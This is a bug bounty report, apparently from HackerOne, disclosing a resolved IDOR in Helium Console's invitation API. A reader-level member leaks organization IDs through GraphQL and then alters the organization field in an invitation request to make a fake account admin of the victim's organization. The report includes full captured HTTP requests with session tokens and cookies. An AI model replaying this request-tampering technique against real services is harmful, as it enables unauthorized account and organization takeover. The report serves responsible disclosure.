Organization Takeover via invitation API
Medium
H
Helium
Submitted None
Actions:
Reported by
azraelsec
Vulnerability Details
Technical details and impact analysis
Hello @helium,
today I would like to show you how a malicious user could exploit an IDOR affecting the `/invitations` resource to gain Administrator privileges inside an organization of which he's part of as a reader.
# Steps to reproduce the bug
## Setup
Let's assume that three accounts exist:
- `[email protected]` **[Attacker]**
- `[email protected]` **[Victim]**
- `[email protected]` **[Attacker's fake account]**
**Initial Context**: **[Victim]** is Administrator of the `target` organization on Helium Console and invites **[Attacker]** to join it as a reader.
**Goal**: **[Attacker]** escalate its privileges and becomes Administrator of the `target` organization
## Attack
1) **[Attacker]** makes a graphql query to leak the organization's id (using graphql it's only possible to see the memberships of the current organization):
```
POST /graphql HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 469
accept: */*
Sec-Fetch-Dest: empty
authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJjb25zb2xlIiwiZXhwIjoxNTg1NzAyODgzLCJpYXQiOjE1ODU2MTY0ODMsImlzcyI6ImNvbnNvbGUiLCJqdGkiOiIwNjUwMGRiOS1kNjNlLTRiYTQtYWJiYy0xYmQ0YTViMzUxY2YiLCJuYmYiOjE1ODU2MTY0ODIsIm9yZ2FuaXphdGlvbiI6Ijg4M2IwYTQ2LWU0Y2YtNDMxNS1hZjRmLTQyMjZkMWFkYTU2MSIsIm9yZ2FuaXphdGlvbl9uYW1lIjoibG9sIiwic3ViIjoiOGY1YWJlMTktMDAwMS00MWI1LWE5NjktZmUwYjcxZGNjZjFmIiwidHlwIjoiYWNjZXNzIiwidXNlciI6IjhmNWFiZTE5LTAwMDEtNDFiNS1hOTY5LWZlMGI3MWRjY2YxZiJ9.VMAi-07cZkCJg-dffHdR1wwJbi9JNSzpaQSRSQGDX-_vDrcTOPEfgJU_LCZ8H5tYiwsexyD-ogLFakGY1bFy-A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
content-type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; __cfduid=dfe09d09943b9f82399b493143e78867f1585613806; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI4ZjVhYmUxOS0wMDAxLTQxYjUtYTk2OS1mZTBiNzFkY2NmMWYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODU2MTM4MDkxNzMsImxhc3RFdmVudFRpbWUiOjE1ODU2MTY4NjQwNDMsImV2ZW50SWQiOjU2MywiaWRlbnRpZnlJZCI6MTEwLCJzZXF1ZW5jZU51bWJlciI6NjczfQ==
{"operationName":"PaginatedOrganizationsQuery","variables":{"page":1,"pageSize":10},"query":"query PaginatedOrganizationsQuery($page: Int, $pageSize: Int) {\n organizations(page: $page, pageSize: $pageSize) {\n entries {\n ...OrganizationFragment\n __typename\n }\n totalEntries\n totalPages\n pageSize\n pageNumber\n __typename\n }\n}\n\nfragment OrganizationFragment on Organization {\n id\n name\n inserted_at\n __typename\n}\n"}
```
```
HTTP/1.1 200 OK
Date: Tue, 31 Mar 2020 01:07:44 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62cdb39b0be28-MXP
Content-Length: 401
{"data":{"organizations":{"__typename":"PaginatedOrganizations","entries":[{"__typename":"Organization","id":"883b0a46-e4cf-4315-af4f-4226d1ada561","inserted_at":"2020-03-31T00:58:34","name":"lol"},{"__typename":"Organization","id":"cb23000e-65b3-4628-9ede-656ffa0d5aa8","inserted_at":"2020-03-31T01:05:42","name":"target"}],"pageNumber":null,"pageSize":null,"totalEntries":null,"totalPages":null}}}
```
**NOTE**: the `target` organization's id is `cb23000e-65b3-4628-9ede-656ffa0d5aa8`
2) Using its own organization's page **[Attacker]** makes a request to the `/api/invitations` end-point in order to add **[Attacker's fake account]** to it in the role of *admin* and intercepts this request through Burp Suite. It looks like this:
```
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 125
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJjb25zb2xlIiwiZXhwIjoxNTg1NzAyODgzLCJpYXQiOjE1ODU2MTY0ODMsImlzcyI6ImNvbnNvbGUiLCJqdGkiOiIwNjUwMGRiOS1kNjNlLTRiYTQtYWJiYy0xYmQ0YTViMzUxY2YiLCJuYmYiOjE1ODU2MTY0ODIsIm9yZ2FuaXphdGlvbiI6Ijg4M2IwYTQ2LWU0Y2YtNDMxNS1hZjRmLTQyMjZkMWFkYTU2MSIsIm9yZ2FuaXphdGlvbl9uYW1lIjoibG9sIiwic3ViIjoiOGY1YWJlMTktMDAwMS00MWI1LWE5NjktZmUwYjcxZGNjZjFmIiwidHlwIjoiYWNjZXNzIiwidXNlciI6IjhmNWFiZTE5LTAwMDEtNDFiNS1hOTY5LWZlMGI3MWRjY2YxZiJ9.VMAi-07cZkCJg-dffHdR1wwJbi9JNSzpaQSRSQGDX-_vDrcTOPEfgJU_LCZ8H5tYiwsexyD-ogLFakGY1bFy-A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; __cfduid=dfe09d09943b9f82399b493143e78867f1585613806; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI4ZjVhYmUxOS0wMDAxLTQxYjUtYTk2OS1mZTBiNzFkY2NmMWYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODU2MTM4MDkxNzMsImxhc3RFdmVudFRpbWUiOjE1ODU2MTY4OTQ2OTYsImV2ZW50SWQiOjU2NiwiaWRlbnRpZnlJZCI6MTEwLCJzZXF1ZW5jZU51bWJlciI6Njc2fQ==
{"invitation":{"email":"[email protected]","role":"admin","organization":"883b0a46-e4cf-4315-af4f-4226d1ada561"}}
```
3) **[Attacker]** now only needs to change the organization field's value inserting the `target` one:
```
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 126
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJjb25zb2xlIiwiZXhwIjoxNTg1NzAyODgzLCJpYXQiOjE1ODU2MTY0ODMsImlzcyI6ImNvbnNvbGUiLCJqdGkiOiIwNjUwMGRiOS1kNjNlLTRiYTQtYWJiYy0xYmQ0YTViMzUxY2YiLCJuYmYiOjE1ODU2MTY0ODIsIm9yZ2FuaXphdGlvbiI6Ijg4M2IwYTQ2LWU0Y2YtNDMxNS1hZjRmLTQyMjZkMWFkYTU2MSIsIm9yZ2FuaXphdGlvbl9uYW1lIjoibG9sIiwic3ViIjoiOGY1YWJlMTktMDAwMS00MWI1LWE5NjktZmUwYjcxZGNjZjFmIiwidHlwIjoiYWNjZXNzIiwidXNlciI6IjhmNWFiZTE5LTAwMDEtNDFiNS1hOTY5LWZlMGI3MWRjY2YxZiJ9.VMAi-07cZkCJg-dffHdR1wwJbi9JNSzpaQSRSQGDX-_vDrcTOPEfgJU_LCZ8H5tYiwsexyD-ogLFakGY1bFy-A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; __cfduid=dfe09d09943b9f82399b493143e78867f1585613806; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI4ZjVhYmUxOS0wMDAxLTQxYjUtYTk2OS1mZTBiNzFkY2NmMWYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODU2MTM4MDkxNzMsImxhc3RFdmVudFRpbWUiOjE1ODU2MTY4OTQ2OTYsImV2ZW50SWQiOjU2NiwiaWRlbnRpZnlJZCI6MTEwLCJzZXF1ZW5jZU51bWJlciI6Njc2fQ==
{"invitation":{"email":"[email protected]","role":"admin","organization":"cb23000e-65b3-4628-9ede-656ffa0d5aa8"}}
```
```
HTTP/1.1 201 Created
Date: Tue, 31 Mar 2020 01:08:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 115
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Message: User added to organization
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62eaa4ccde903-MXP
{"id":"a0262e0c-7939-42dd-a4ec-e42dc2eeaeab","joined_at":"2020-03-31T01:08:59","role":"admin","type":"memberships"}
```
4) Now **[Attacker's fake account]** has got full privileges on the `target` organization and can properly change **[Attacker]**'s role to Administrator and he can delete the original owner.
# Mitigations
To be sure that the requesting user is an Administrator of that organization is enough to solve this issue.
## Impact
This vulnerability has got a great impact on the platform as it allows any user to gain Administrator privileges on organizations he's part of, full controlling it.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$100.00
Submitted
Weakness
Insecure Direct Object Reference (IDOR)